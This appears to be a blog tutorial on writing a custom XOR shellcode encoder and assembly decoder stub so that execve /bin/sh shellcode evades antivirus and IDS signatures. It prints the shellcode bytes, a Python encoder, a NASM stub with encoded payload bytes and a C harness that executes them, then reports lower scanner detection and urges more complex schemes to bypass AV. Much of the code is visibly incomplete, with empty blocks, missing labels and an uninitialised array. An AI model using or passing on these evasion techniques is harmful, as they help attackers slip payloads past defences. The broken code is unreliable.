Why do we need an custom shellcode encoder/decoder ?

When it is easy to encode our shellcode by using encoders from Metasploit such as the XORmencoder, shikata_ga_nai, etc.. why do we need to have a custom shellcode encoder ? The reason is that these encoders are fingerprinted by the antivirus and Intrusion detection systems (IDS), as they are used by most of the attackers.So if we could create a encoder with a decoder stub that isn't fingerprinted by the AV then we would be able to bypass the filters of the pattern based recognition system (but beware of strong heuristic-based systems).
A trade off from this is that the size of our shellcode will increase as we will need the decoding stub to be sent too along with our shellcode.

In this post we'll look at how to create a simple encoder to get started!


We first need to create an encoder that takes in a shellcode as an input and outputs an encoded shellcode , we will be doing this with python. Then we would need to have a decoder stub that would be sent along with the shellcode, which would decode the shellcode in memory and execute it.

Creating the encoder

I'll be using an simple logic for the encoder, you can however spice it up with any logic you want.

Encoding scheme

People call this as a Random-Byte-Insertion-XOR Encoding Scheme since we will be inserting random bytes and xoring our shellcode with it .First the shellcode is aligned to an even number, if shellcode length is an odd number we align it by appending NOP ( 0x90 ) in the end .

Say the Shellcode = \x31\xc0....\x50\x68, we will divide this shellcode into blocks of two \x31\xc0|....|\x50\x68, and insert a random int in front \x0a\x31\xc0....\xfe\x50\x68 where \x0a and \xfe are the random bytes inserted , this is done to all the blocks.

Now the idea is to take that random byte as the base for a XOR operation, and to chain the next XOR operation based on the result of the previous.

random byte inserted shellcode :\x0a\x31\xc0....\xfe\x50\x68
shellcode[1] =XOR(shellcode[0],shellcode[1]) ; 0x3B
After first XOR : \x0a\x3b\xc0....\xfe\x50\x68
shellcode[2] =XOR(shellcode[1],shellcode[2]) ; 0xFB
After second XOR : \x0a\x3b\xfb....\xfe\x50\x68
Repeating this to all the blocks, the final encoded shellcode will be ,
final encoded shellcode :\x0a\x3b\xfb....\xfe\xae\xc6

Now if there are any bad characters that needs to be removed , a check is made and in case there are any, the shellcode is then xor'd with a new set of rand bytes.

Below is the implementation of the encoder in python.

from random import randint

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

bad_chars = ["\x00"] #bad chars 

shellcode_ = bytearray()

len_shellcode = len(shellcode_)
if len_shellcode % 2  == 1:  # checking if shellcode is aligned 

def encoder():
	encode_shellcode = bytearray()
	for i in range (0,len_shellcode,2):
		x = randint(1,255)	
		byte1 = shellcode_[i]
		byte2 = shellcode_[i+1]
		byte1 = ( x ^ byte1 ) 
		byte2 = ( byte1 ^ byte2 )

	for i in bad_chars: #checking for bad chars 
		if encode_shellcode.find(i) >= 0 :
	#bad char found
			print "Illegal Char found , re-encoding wait :) "
	return encode_shellcode #Return the encoded shellcode

encoded_ = "" 
encoded_shellcode = encoder()
for y in encoded_shellcode:
	len_enc = len(str(hex(y)))
	if len_enc == 3 :


print "Size of original shellcode is "+str(len(shellcode_))
print "Size of encoded shellcode is "+str(len(encoded_shellcode))
print encoded_		

The shellcode that I used is 28 bytes in length and can be found at http://shell-storm.org/shellcode/files/shellcode-811.php

After running the encoder,
After Encoder

Creating the decoder stub

The decoder stub is implemented using assembly , this stub is placed before the encoded shellcode so that it can decode and execute the shellcode in memory.

below is my implementation of the decoder,

global _start

section .text

		jmp short call_decoder


		pop esi	; shellcode's address
		push esi ; to call the shellcode address

		mov edi,esi
		xor eax,eax
		xor ebx,ebx
		xor ecx,ecx
		xor edx,edx
			mov al, [esi] ; first byte to xor
			xor al, [esi+1] ; second byte to xor
			mov [edi],al
			inc esi 
			inc edi 
			inc ecx
			cmp cl , 0x2 
			jne loop

			inc esi
			xor ecx,ecx	
			add dx, 0x3
			cmp dx, len
			jne loop

		pop eax
		jmp eax

		call decoder
                ; paste the encoded shellcode below 
		shellcode: db 0x3f,0x0e,0xce,0x67,0x37,0x5f,0xb6,0x99,0xb6,0x66,0x15,0x7d,0x67,0x0f,0x20,0xfd,0x9f,0xf6,0x81,0xef,0x66,0x9a,0x79,0xf0,0x11,0xd0,0x59,0xe3,0x21,0x91,0xcf,0xc4,0x09,0x99,0x19,0x28,0xe7,0x27,0x67,0x8f,0x42,0xc2
		len: equ $-shellcode

We then need to get the code of this decoder.asm file ,

nasm -f elf decoder.asm && ld -o decoder decoder.o && for i in `objdump -d decoder | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

After dumping

Now we can save this encoded shellcode with the decoding stub in a c file and test it.

#include <stdio.h>
#include <string.h>

unsigned char code[] = 
int main(void)
printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;


After exec

Below are the results of online scanner of the simple payload and the encoded payload
Result with the plain shellcode ( Detection 3/38 )

Result with the encoded shellcode and the stub ( Detection 1/38 )

Feel free to test the code and let me know how that works for you.
If you are writing your own encoder go crazy with the encoding scheme , more complex it is , less chance that it was used by someone else, and higher the chances of it bypassing AV filter.